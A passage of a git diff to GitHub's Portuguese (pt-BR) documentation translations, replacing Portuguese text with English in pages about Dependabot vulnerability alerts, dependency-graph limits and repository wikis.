%}{% data variables.product.prodname_dependabot_security_updates %} are triggered when you receive an alert about a vulnerable dependency in your repository. Where possible, {% data variables.product.prodname_dependabot %} creates a pull request in your repository to upgrade the vulnerable dependency to the minimum possible secure version needed to avoid the vulnerability. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)" and "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)." + + {% endif %}{% data variables.product.prodname_dependabot %} doesn't scan repositories for vulnerable dependencies on a schedule, but rather when something changes. For example, a scan is triggered when a new dependency is added ({% data variables.product.prodname_dotcom %} checks for this on every push), or when a new vulnerability is added to the advisory database{% ifversion ghes or ghae-issue-4864 %} and synchronized to {% data variables.product.product_location %}{% endif %}. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#detection-of-vulnerable-dependencies)." - {% endif %}{% data variables.product.prodname_dependabot %} não pesquisa repositórios com relação a dependências vulneráveis de uma programação, mas o faz quando algo muda. Por exemplo, aciona-se uma varredura quando uma nova dependência é adicionada ({% data variables.product.prodname_dotcom %} verifica isso em cada push), ou quando uma nova vulnerabilidade é adicionada ao banco de dados da consultoria{% ifversion ghes or ghae-issue-4864 %} e sincronizado com {% data variables.product.product_location %}{% endif %}. Para obter mais informações, consulte "[Sobre alertas para dependências vulneráveis](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#detection-of-vulnerable-dependencies)" +## Why don't I get vulnerability alerts for some ecosystems? -## Por que não recebo alertas de vulnerabilidade em alguns ecossistemas? +{% data variables.product.prodname_dotcom %} limits its support for vulnerability alerts to a set of ecosystems where we can provide high-quality, actionable data. Curated vulnerabilities in the {% data variables.product.prodname_advisory_database %}, the dependency graph, {% ifversion fpt or ghec %}{% data variables.product.prodname_dependabot %} security updates, {% endif %}and {% data variables.product.prodname_dependabot_alerts %} are provided for several ecosystems, including Java’s Maven, JavaScript’s npm and Yarn, .NET’s NuGet, Python’s pip, Ruby's RubyGems, and PHP’s Composer. We'll continue to add support for more ecosystems over time. For an overview of the package ecosystems that we support, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)." -O {% data variables.product.prodname_dotcom %} limita seu suporte a alertas de vulnerabilidade a um conjunto de ecossistemas onde podemos fornecer dados de alta qualidade e relevantes. Vulnerabilidades curadas no {% data variables.product.prodname_advisory_database %}, o gráfico de dependências, {% ifversion fpt or ghec %}{% data variables.product.prodname_dependabot %} atualizações de segurança {% endif %}e alertas de {% data variables.product.prodname_dependabot %} são fornecidos para vários ecossistemas, incluindo o Java Maven, o npm de JavaScript e o Yarn, .NET's NuGet, Pip Python, RubyGems e Compositor do PHP. Nós continuaremos a adicionar suporte para mais ecossistemas ao longo do tempo. Para uma visão geral dos ecossistemas de pacotes suportados por nós, consulte "[Sobre o gráfico de dependências](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)". +It's worth noting that {% data variables.product.prodname_dotcom %} Security Advisories may exist for other ecosystems. The information in a security advisory is provided by the maintainers of a particular repository. This data is not curated in the same way as information for the supported ecosystems. {% ifversion fpt or ghec %}For more information, see "[About {% data variables.product.prodname_dotcom %} Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."{% endif %} -Vale a pena observar que as consultorias de segurança de {% data variables.product.prodname_dotcom %} podem existir para outros ecossistemas. As informações em uma consultoria de segurança são fornecidas pelos mantenedores de um determinado repositório. Estes dados não são curados da mesma forma que as informações relativas aos ecossistemas suportados. {% ifversion fpt or ghec %}Para obter mais informações, consulte "[Sobre consultorias de segurança de {% data variables.product.prodname_dotcom %}](/github/managing-security-vulnerabilities/about-github-security-advisories){% endif %} +**Check**: Does the uncaught vulnerability apply to an unsupported ecosystem? -**Verificar**: A vulnerabilidade não capturada se aplica a um ecossistema não suportado? +## Does the dependency graph only find dependencies in manifests and lockfiles? -## O gráfico de dependências só encontra dependências nos manifestos e nos arquivos de bloquei? +The dependency graph includes information on dependencies that are explicitly declared in your environment. That is, dependencies that are specified in a manifest or a lockfile. The dependency graph generally also includes transitive dependencies, even when they aren't specified in a lockfile, by looking at the dependencies of the dependencies in a manifest file. -O gráfico de dependências inclui informações sobre dependências explicitamente declaradas em seu ambiente. Ou seja, dependências que são especificadas em um manifesto ou um arquivo de bloqueio. O gráfico de dependências, geralmente, também inclui dependências transitivas, mesmo quando não são especificadas em um arquivo de travamento analisando as dependências das dependências em um arquivo de manifesto. +{% data variables.product.prodname_dependabot_alerts %} advise you about dependencies you should update, including transitive dependencies, where the version can be determined from a manifest or a lockfile. {% ifversion fpt or ghec or ghes > 3.2 %}{% data variables.product.prodname_dependabot_security_updates %} only suggest a change where {% data variables.product.prodname_dependabot %} can directly "fix" the dependency, that is, when these are: +* Direct dependencies explicitly declared in a manifest or lockfile +* Transitive dependencies declared in a lockfile{% endif %} -Os {% data variables.product.prodname_dependabot_alerts %} aconselham você com relação a dependências que você deve atualizar, incluindo dependências transitivas, em que a versão pode ser determinada a partir de um manifesto ou de um arquivo de bloqueio. {% ifversion fpt or ghec or ghes > 3.2 %}{% data variables.product.prodname_dependabot_security_updates %} sugere apenas uma mudança em que {% data variables.product.prodname_dependabot %} pode "corrigir" diretamente a dependência, ou seja, quando são: -* Dependências diretas, que são definidas explicitamente em um manifesto ou arquivo de bloqueio -* Dependências transitórias declaradas em um arquivo de bloqueio{% endif %} +The dependency graph doesn't include "loose" dependencies. "Loose" dependencies are individual files that are copied from another source and checked into the repository directly or within an archive (such as a ZIP or JAR file), rather than being referenced by in a package manager’s manifest or lockfile. -O gráfico de dependências não inclui dependências de "soltas". Dependências "soltas" são arquivos individuais copiados de outra fonte e verificados no repositório diretamente ou dentro de um arquivo (como um arquivo ZIP ou JAR), em vez de ser referenciadas pelo manifesto ou arquivo de bloqueio do gerenciador de pacotes. +**Check**: Is the uncaught vulnerability for a component that's not specified in the repository's manifest or lockfile? -**Verifique**: A vulnerabilidade não detectada para um componente não especificado no manifesto ou no arquivo de bloqueio do repositório? +## Does the dependency graph detect dependencies specified using variables? -## O gráfico de dependências detecta dependências especificadas usando variáveis? +The dependency graph analyzes manifests as they’re pushed to {% data variables.product.prodname_dotcom %}. The dependency graph doesn't, therefore, have access to the build environment of the project, so it can't resolve variables used within manifests. If you use variables within a manifest to specify the name, or more commonly the version of a dependency, then that dependency will not be included in the dependency graph. -O gráfico de dependências analisa como são carregados para {% data variables.product.prodname_dotcom %}. O gráfico de dependência não tem acesso ao ambiente de construção do projeto. Portanto, ele não pode resolver variáveis usadas dentro dos manifestos. Se você usar variáveis dentro de um manifesto para especificar o nome, ou mais comumente, a versão de uma dependência, essa dependência não será incluída no gráfico de dependências. +**Check**: Is the missing dependency declared in the manifest by using a variable for its name or version? -**Verifique**: A dependência ausente é declarada no manifesto usando uma variável para seu nome ou versão? +## Are there limits which affect the dependency graph data? -## Existem limites que afetam os dados do gráfico de dependências? +Yes, the dependency graph has two categories of limits: -Sim, o gráfico de dependências tem duas categorias de limites: +1. **Processing limits** -1. **Limites de processamento** + These affect the dependency graph displayed within {% data variables.product.prodname_dotcom %} and also prevent {% data variables.product.prodname_dependabot_alerts %} being created. - Eles afetam o gráfico de dependências exibido dentro de {% data variables.product.prodname_dotcom %} e também impedem que sejam criados {% data variables.product.prodname_dependabot_alerts %}. + Manifests over 0.5 MB in size are only processed for enterprise accounts. For other accounts, manifests over 0.5 MB are ignored and will not create {% data variables.product.prodname_dependabot_alerts %}. - Manifestos com tamanho superior a 0.5 MB são processados apenas para contas corporativas. Para outras contas, manifestos acima de 0,5 MB são ignorados e não criarão {% data variables.product.prodname_dependabot_alerts %}. + By default, {% data variables.product.prodname_dotcom %} will not process more than 20 manifests per repository. {% data variables.product.prodname_dependabot_alerts %} are not created for manifests beyond this limit. If you need to increase the limit, contact {% data variables.contact.contact_support %}. - Por padrão, o {% data variables.product.prodname_dotcom %} não processará mais de 20 manifestos por repositório. {% data variables.product.prodname_dependabot_alerts %} não foi criado para manifestos acima deste limite. Se você precisar aumentar o limite, entre em contato com {% data variables.contact.contact_support %}. +2. **Visualization limits** -2. **Limites de visualização** + These affect what's displayed in the dependency graph within {% data variables.product.prodname_dotcom %}. However, they don't affect the {% data variables.product.prodname_dependabot_alerts %} that are created. - Eles afetam o que é exibido no gráfico de dependências dentro de {% data variables.product.prodname_dotcom %}. No entanto, eles não afetam {% data variables.product.prodname_dependabot_alerts %} que foram criados. + The Dependencies view of the dependency graph for a repository only displays 100 manifests. Typically this is adequate as it is significantly higher than the processing limit described above. In situations where the processing limit is over 100, {% data variables.product.prodname_dependabot_alerts %} are still created for any manifests that are not shown within {% data variables.product.prodname_dotcom %}. - A exibição de dependências do gráfico de dependências em um repositório só exibe 100 manifestos. De modo geral, isso é adequado, já que é significativamente maior do que o limite de processamento descrito acima. Em situações em que o limite de processamento é superior a 100, os {% data variables.product.prodname_dependabot_alerts %} são criados para quaisquer manifestos que não são mostrados dentro de {% data variables.product.prodname_dotcom %}. +**Check**: Is the missing dependency in a manifest file that's over 0.5 MB, or in a repository with a large number of manifests? -**Verifique**: A dependência que falta está em um arquivo de manifesto superior a 0,5 MB ou em um repositório com um grande número de manifestos? +## Does {% data variables.product.prodname_dependabot %} generate alerts for vulnerabilities that have been known for many years? -## O {% data variables.product.prodname_dependabot %} gera alertas de vulnerabilidades que são conhecidas há muitos anos? +The {% data variables.product.prodname_advisory_database %} was launched in November 2019, and initially back-filled to include vulnerability information for the supported ecosystems, starting from 2017. When adding CVEs to the database, we prioritize curating newer CVEs, and CVEs affecting newer versions of software. -O {% data variables.product.prodname_advisory_database %} foi lançado em novembro de 2019 e preencheu, inicialmente, a inclusão de informações de vulnerabilidade para os ecossistemas compatíveis a partir de 2017. Ao adicionar CVEs ao banco de dados, priorizamos a curadoria de CVEs mais recentes e CVEs que afetam versões mais recentes do software. +Some information on older vulnerabilities is available, especially where these CVEs are particularly widespread, however some old vulnerabilities are not included in the {% data variables.product.prodname_advisory_database %}. If there's a specific old vulnerability that you need to be included in the database, contact {% data variables.contact.contact_support %}. -Algumas informações sobre vulnerabilidades mais antigas estão disponíveis, especialmente quando estes CVEs estão particularmente disseminados. No entanto algumas vulnerabilidades antigas não estão incluídas no {% data variables.product.prodname_advisory_database %}. Se houver uma vulnerabilidade antiga específica que você precisar incluir no banco de dados, entre em contato com {% data variables.contact.contact_support %}. +**Check**: Does the uncaught vulnerability have a publish date earlier than 2017 in the National Vulnerability Database? -**Verifique**: A vulnerabilidade não detectada tem uma data de publicação anterior a 2017 no Banco de Dados Nacional de Vulnerabilidade? +## Why does {% data variables.product.prodname_advisory_database %} use a subset of published vulnerability data? -## Por que o {% data variables.product.prodname_advisory_database %} usa um subconjunto de dados de vulnerabilidade publicada? +Some third-party tools use uncurated CVE data that isn't checked or filtered by a human. This means that CVEs with tagging or severity errors, or other quality issues, will cause more frequent, more noisy, and less useful alerts. -Algumas ferramentas de terceiros usam dados de CVE não descurados que não são verificados ou filtrados por um ser humano. Isto significa que os CVEs com erros de etiqueta ou de gravidade, ou outros problemas de qualidade, gerarão alertas mais frequentes, mais ruidosos e menos úteis. - -Uma vez que {% data variables.product.prodname_dependabot %} usa dados curados em {% data variables.product.prodname_advisory_database %}, o volume de alertas pode ser menor, mas os alertas que você recebe serão precisos e relevantes. +Since {% data variables.product.prodname_dependabot %} uses curated data in the {% data variables.product.prodname_advisory_database %}, the volume of alerts may be lower, but the alerts you do receive will be accurate and relevant. {% ifversion fpt or ghec %} -## Cada vulnerabilidade de dependência gera um alerta separado? +## Does each dependency vulnerability generate a separate alert? -Quando uma dependência tem várias vulnerabilidades, apenas um alerta agregado é gerado para essa dependência, em vez de um alerta por vulnerabilidade. +When a dependency has multiple vulnerabilities, only one aggregated alert is generated for that dependency, instead of one alert per vulnerability. -A contagem de {% data variables.product.prodname_dependabot_alerts %} em {% data variables.product.prodname_dotcom %} mostra um total para o número de alertas, ou seja, o número de dependências com vulnerabilidades, não o número de vulnerabilidades. +The {% data variables.product.prodname_dependabot_alerts %} count in {% data variables.product.prodname_dotcom %} shows a total for the number of alerts, that is, the number of dependencies with vulnerabilities, not the number of vulnerabilities. -![Vista de {% data variables.product.prodname_dependabot_alerts %}](/assets/images/help/repository/dependabot-alerts-view.png) +![{% data variables.product.prodname_dependabot_alerts %} view](/assets/images/help/repository/dependabot-alerts-view.png) -Ao clicar para exibir os detalhes de alerta, você pode ver quantas vulnerabilidades são incluídas no alerta. +When you click to display the alert details, you can see how many vulnerabilities are included in the alert. -![Múltiplas vulnerabilidades para um alerta de {% data variables.product.prodname_dependabot %}](/assets/images/help/repository/dependabot-vulnerabilities-number.png) +![Multiple vulnerabilities for a {% data variables.product.prodname_dependabot %} alert](/assets/images/help/repository/dependabot-vulnerabilities-number.png) -**Verifique**: Se houver discrepância no total que você está vendo, verifique se você não está comparando números de alerta com números de vulnerabilidade. +**Check**: If there is a discrepancy in the totals you are seeing, check that you are not comparing alert numbers with vulnerability numbers. {% endif %} -## Leia mais +## Further reading -- "[Sobre alertas para dependências vulneráveis](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" -- "[Visualizar e atualizar dependências vulneráveis no seu repositório](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)" -- "[Gerenciar as configurações de segurança e análise do repositório](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)"{% ifversion fpt or ghec or ghes > 3.2 %} -- "[Solucionar problemas de {% data variables.product.prodname_dependabot %}](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %} +- "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" +- "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)" +- "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)"{% ifversion fpt or ghec or ghes > 3.2 %} +- "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %} diff --git a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md index 032b234aa1..c2a6b0c128 100644 --- a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md +++ b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md @@ -1,12 +1,12 @@ --- -title: Exibir e atualizar dependências vulneráveis no repositório -intro: 'Se o {% data variables.product.product_name %} descobrir dependências vulneráveis no seu projeto, você poderá visualizá-las na aba de alertas do Dependabot no seu repositório. Em seguida, você pode atualizar seu projeto para resolver ou descartar a vulnerabilidade.' +title: Viewing and updating vulnerable dependencies in your repository +intro: 'If {% data variables.product.product_name %} discovers vulnerable dependencies in your project, you can view them on the Dependabot alerts tab of your repository. Then, you can update your project to resolve or dismiss the vulnerability.' redirect_from: - /articles/viewing-and-updating-vulnerable-dependencies-in-your-repository - /github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository - /code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository permissions: Repository administrators and organization owners can view and update dependencies. -shortTitle: Visualizar as dependências vulneráveis +shortTitle: View vulnerable dependencies versions: fpt: '*' ghes: '*' @@ -25,53 +25,60 @@ topics: {% data reusables.dependabot.beta-security-and-version-updates %} {% data reusables.dependabot.enterprise-enable-dependabot %} -A aba de alertas de {% data variables.product.prodname_dependabot %} do repositório lista as todos os {% data variables.product.prodname_dependabot_alerts %} abertos e fechados {% ifversion fpt or ghec or ghes > 3.2 %} e {% data variables.product.prodname_dependabot_security_updates %} correspondentes {% endif %}. Você pode ordenar a lista de alertas selecionando o menu suspenso e você pode clicar em alertas específicos para obter mais detalhes. Para obter mais informações, consulte "[Sobre alertas para dependências vulneráveis](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" +Your repository's {% data variables.product.prodname_dependabot_alerts %} tab lists all open and closed {% data variables.product.prodname_dependabot_alerts %}{% ifversion fpt or ghec or ghes > 3.2 %} and corresponding {% data variables.product.prodname_dependabot_security_updates %}{% endif %}. You can sort the list of alerts by selecting the drop-down menu, and you can click into specific alerts for more details. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." {% ifversion fpt or ghec or ghes > 3.2 %} -É possível habilitar atualizações de segurança automáticas para qualquer repositório que usa o {% data variables.product.prodname_dependabot_alerts %} e o gráfico de dependências. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)." +You can enable automatic security updates for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)." {% endif %} {% data reusables.repositories.dependency-review %} {% ifversion fpt or ghec or ghes > 3.2 %} -## Sobre atualizações para dependências vulneráveis no seu repositório +## About updates for vulnerable dependencies in your repository -{% data variables.product.product_name %} gera {% data variables.product.prodname_dependabot_alerts %} quando detectamos que sua base de código está usando dependências com vulnerabilidades conhecidas. Para repositórios em que {% data variables.product.prodname_dependabot_security_updates %} estão habilitados, quando {% data variables.product.product_name %} detecta uma dependência vulnerável no branch padrão, {% data variables.product.prodname_dependabot %} cria um pull request para corrigi-la. O pull request irá atualizar a dependência para a versão minimamente segura possível, o que é necessário para evitar a vulnerabilidade. +{% data variables.product.product_name %} generates {% data variables.product.prodname_dependabot_alerts %} when we detect that your codebase is using dependencies with known vulnerabilities. For repositories where {% data variables.product.prodname_dependabot_security_updates %} are enabled, when {% data variables.product.product_name %} detects a vulnerable dependency in the default branch, {% data variables.product.prodname_dependabot %} creates a pull request to fix it. The pull request will upgrade the dependency to the minimum possible secure version needed to avoid the vulnerability. {% endif %} -## Visualizar e atualizar dependências vulneráveis +## Viewing and updating vulnerable dependencies {% ifversion fpt or ghec or ghes > 3.2 %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-dependabot-alerts %} -1. Clique no alerta que deseja exibir. ![Alerta selecionado na lista de alertas](/assets/images/help/graphs/click-alert-in-alerts-list.png) -1. Revise as informações da vulnerabilidade e, se disponível, o pull request que contém a atualização de segurança automatizada. -1. Opcionalmente, se ainda não houver uma atualização de {% data variables.product.prodname_dependabot_security_updates %} para o alerta, crie um pull request para resolver a vulnerabilidade. Clique em **Criar uma atualização de segurança de {% data variables.product.prodname_dependabot %}**. ![Crie um botão de atualização de segurança do {% data variables.product.prodname_dependabot %}](/assets/images/help/repository/create-dependabot-security-update-button.png) -1. Quando estiver pronto para atualizar a dependência e resolver a vulnerabilidade, faça merge da pull request. Cada pull request criado por {% data variables.product.prodname_dependabot %} inclui informações sobre os comandos que você pode usar para controlar {% data variables.product.prodname_dependabot %}. Para obter mais informações, consulte "[Gerenciar pull requests para atualizações de dependências](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands)". -1. Opcionalmente, se o alerta estiver sendo corrigido, se estiver incorreto, ou localizado em um código não utilizado, selecione o menu suspenso "Ignorar" e clique em um motivo para ignorar o alerta. ![Escolher o motivo para ignorar o alerta a partir do menu suspenso "Ignorar"down](/assets/images/help/repository/dependabot-alert-dismiss-drop-down.png) +1. Click the alert you'd like to view. + ![Alert selected in list of alerts](/assets/images/help/graphs/click-alert-in-alerts-list.png) +1. Review the details of the vulnerability and, if available, the pull request containing the automated security update. +1. Optionally, if there isn't already a {% data variables.product.prodname_dependabot_security_updates %} update for the alert, to create a pull request to resolve the vulnerability, click **Create {% data variables.product.prodname_dependabot %} security update**. + ![Create {% data variables.product.prodname_dependabot %} security update button](/assets/images/help/repository/create-dependabot-security-update-button.png) +1. When you're ready to update your dependency and resolve the vulnerability, merge the pull request. Each pull request raised by {% data variables.product.prodname_dependabot %} includes information on commands you can use to control {% data variables.product.prodname_dependabot %}. For more information, see "[Managing pull requests for dependency updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands)." +1. Optionally, if the alert is being fixed, if it's incorrect, or located in unused code, select the "Dismiss" drop-down, and click a reason for dismissing the alert. + ![Choosing reason for dismissing the alert via the "Dismiss" drop-down](/assets/images/help/repository/dependabot-alert-dismiss-drop-down.png) {% elsif ghes > 3.0 or ghae-issue-4864 %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-dependabot-alerts %} -1. Clique no alerta que deseja exibir. ![Alerta selecionado na lista de alertas](/assets/images/enterprise/graphs/click-alert-in-alerts-list.png) -1. Revise os detalhes da vulnerabilidade e determine se você precisa atualizar a dependência. -1. Ao fazer merge de um pull request que atualiza o manifesto ou arquivo de bloqueio para uma versão segura da dependência, isso resolverá o alerta. Como alternativa, se você decidir não atualizar a dependência, selecione a lista suspensa **Ignorar** e clique em um motivo para ignorar o alerta. ![Escolher o motivo para ignorar o alerta a partir do menu suspenso "Ignorar"down](/assets/images/enterprise/repository/dependabot-alert-dismiss-drop-down.png) +1. Click the alert you'd like to view. + ![Alert selected in list of alerts](/assets/images/enterprise/graphs/click-alert-in-alerts-list.png) +1. Review the details of the vulnerability and determine whether or not you need to update the dependency. +1. When you merge a pull request that updates the manifest or lock file to a secure version of the dependency, this will resolve the alert. Alternatively, if you decide not to update the dependency, select the **Dismiss** drop-down, and click a reason for dismissing the alert. + ![Choosing reason for dismissing the alert via the "Dismiss" drop-down](/assets/images/enterprise/repository/dependabot-alert-dismiss-drop-down.png) {% else %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %} {% data reusables.repositories.click-dependency-graph %} -1. Clique no número da versão da dependência vulnerável para exibir informações detalhadas. ![Informações detalhadas sobre a dependência vulnerável](/assets/images/enterprise/3.0/dependabot-alert-info.png) -1. Revise os detalhes da vulnerabilidade e determine se você precisa atualizar a dependência. Ao fazer merge de um pull request que atualiza o manifesto ou arquivo de bloqueio para uma versão segura da dependência, isso resolverá o alerta. -1. O banner na parte superior da aba **Dependências** é exibido até que todas as dependências vulneráveis sejam resolvidas ou até que você o ignore. Clique em **Ignorar** no canto superior direito do banner e selecione uma razão para ignorar o alerta. ![Ignorar banner de segurança](/assets/images/enterprise/3.0/dependabot-alert-dismiss.png) +1. Click the version number of the vulnerable dependency to display detailed information. + ![Detailed information on the vulnerable dependency](/assets/images/enterprise/3.0/dependabot-alert-info.png) +1. Review the details of the vulnerability and determine whether or not you need to update the dependency. When you merge a pull request that updates the manifest or lock file to a secure version of the dependency, this will resolve the alert. +1. The banner at the top of the **Dependencies** tab is displayed until all the vulnerable dependencies are resolved or you dismiss it. Click **Dismiss** in the top right corner of the banner and select a reason for dismissing the alert. + ![Dismiss security banner](/assets/images/enterprise/3.0/dependabot-alert-dismiss.png) {% endif %} -## Leia mais +## Further reading -- "[Sobre alertas para dependências vulneráveis](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes > 3.2 %} -- "[Configurar {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)"{% endif %} -- "[Gerenciar as configurações de segurança e análise para o seu repositório](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" -- "[Solução de problemas na detecção de dependências vulneráveis](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes > 3.2 %} -- "[Solucionar problemas de {% data variables.product.prodname_dependabot %}](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %} +- "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes > 3.2 %} +- "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)"{% endif %} +- "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" +- "[Troubleshooting the detection of vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes > 3.2 %} +- "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %} diff --git a/translations/pt-BR/content/communities/documenting-your-project-with-wikis/about-wikis.md b/translations/pt-BR/content/communities/documenting-your-project-with-wikis/about-wikis.md index 559bcb83cf..9d6ac99ff3 100644 --- a/translations/pt-BR/content/communities/documenting-your-project-with-wikis/about-wikis.md +++ b/translations/pt-BR/content/communities/documenting-your-project-with-wikis/about-wikis.md @@ -1,6 +1,6 @@ --- -title: Sobre wikis -intro: Você pode hospedar a documentação para seu repositório em um wiki para que outras pessoas possam usar e contribuir com seu projeto. +title: About wikis +intro: 'You can host documentation for your repository in a wiki, so that others can use and contribute to your project.' redirect_from: - /articles/about-github-wikis/ - /articles/about-wikis @@ -15,24 +15,24 @@ topics: - Community --- -Todos os repositórios em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} são equipados com uma seção para a documentação de hospedagem denominada wiki. Você pode usar o wiki do repositório para compartilhar conteúdo longo sobre seu projeto, por exemplo, como usá-lo, como ele foi projetado ou seus princípios básicos. Um arquivo README informa rapidamente o que seu projeto pode fazer, enquanto você pode usar um wiki para fornecer documentação adicional. Para obter mais informações, consulte "[Sobre README](/articles/about-readmes)". +Every repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} comes equipped with a section for hosting documentation, called a wiki. You can use your repository's wiki to share long-form content about your project, such as how to use it, how you designed it, or its core principles. A README file quickly tells what your project can do, while you can use a wiki to provide additional documentation. For more information, see "[About READMEs](/articles/about-readmes)." -Com wikis, é possível gravar conteúdo assim como em qualquer outro lugar no {% data variables.product.product_name %}. Para obter mais informações, consulte "[Começando a escrever e formatar no {% data variables.product.prodname_dotcom %}](/articles/getting-started-with-writing-and-formatting-on-github)". Usamos [nossa biblioteca de markup de código aberto](https://github.com/github/markup) para converter diferentes formatos em HTML, de modo que seja possível optar por escrever em markdown ou qualquer outro formato compatível. +With wikis, you can write content just like everywhere else on {% data variables.product.product_name %}. For more information, see "[Getting started with writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/getting-started-with-writing-and-formatting-on-github)." We use [our open-source Markup library](https://github.com/github/markup) to convert different formats into HTML, so you can choose to write in Markdown or any other supported format. -{% ifversion fpt or ghes or ghec %}Se você criar um wiki em um repositório público, o wiki ficará disponível para {% ifversion ghes %}qualquer pessoa com acesso para {% data variables.product.product_location %}{% else %}o público{% endif %}. {% endif %}Se você criar um wiki em um repositório interno ou privado, apenas {% ifversion fpt or ghes or ghec %}pessoas{% elsif ghae %}integrantes da empresa{% endif %} com acesso ao repositório poderão acessar o wiki. Para obter mais informações, consulte "[Configurar visibilidade do repositório](/articles/setting-repository-visibility)". +{% ifversion fpt or ghes or ghec %}If you create a wiki in a public repository, the wiki is available to {% ifversion ghes %}anyone with access to {% data variables.product.product_location %}{% else %}the public{% endif %}. {% endif %}If you create a wiki in a private{% ifversion ghec or ghes %} or internal{% endif %} repository, only {% ifversion fpt or ghes or ghec %}people{% elsif ghae %}enterprise members{% endif %} with access to the repository can access the wiki. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)." -Você pode editar wikis diretamente no {% data variables.product.product_name %} ou editar arquivos wiki localmente. Por padrão, somente as pessoas com acesso de gravação ao repositório podem fazer alterações no wikis, embora você possa permitir que todos em {% data variables.product.product_location %} contribuam para um wiki em {% ifversion ghae %}um repositório interno{% else %}público{% endif %}. Para obter mais informações, consulte "[Alterar permissões de acesso para wikis](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis)". +You can edit wikis directly on {% data variables.product.product_name %}, or you can edit wiki files locally. By default, only people with write access to your repository can make changes to wikis, although you can allow everyone on {% data variables.product.product_location %} to contribute to a wiki in {% ifversion ghae %}an internal{% else %}a public{% endif %} repository. For more information, see "[Changing access permissions for wikis](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis)". {% note %} -**Observação:** Os mecanismos de pesquisa não indexam o conteúdo de wikis. Para que seu conteúdo seja indexado por mecanismos de busca, você pode usar [{% data variables.product.prodname_pages %}](/pages) em um repositório público. +**Note:** Search engines will not index the contents of wikis. To have your content indexed by search engines, you can use [{% data variables.product.prodname_pages %}](/pages) in a public repository. {% endnote %} -## Leia mais +## Further reading -- "[Adicionar ou editar páginas wiki](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)" -- "[Criar um footer ou uma barra lateral para seu wiki](/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki)" -- "[Editar 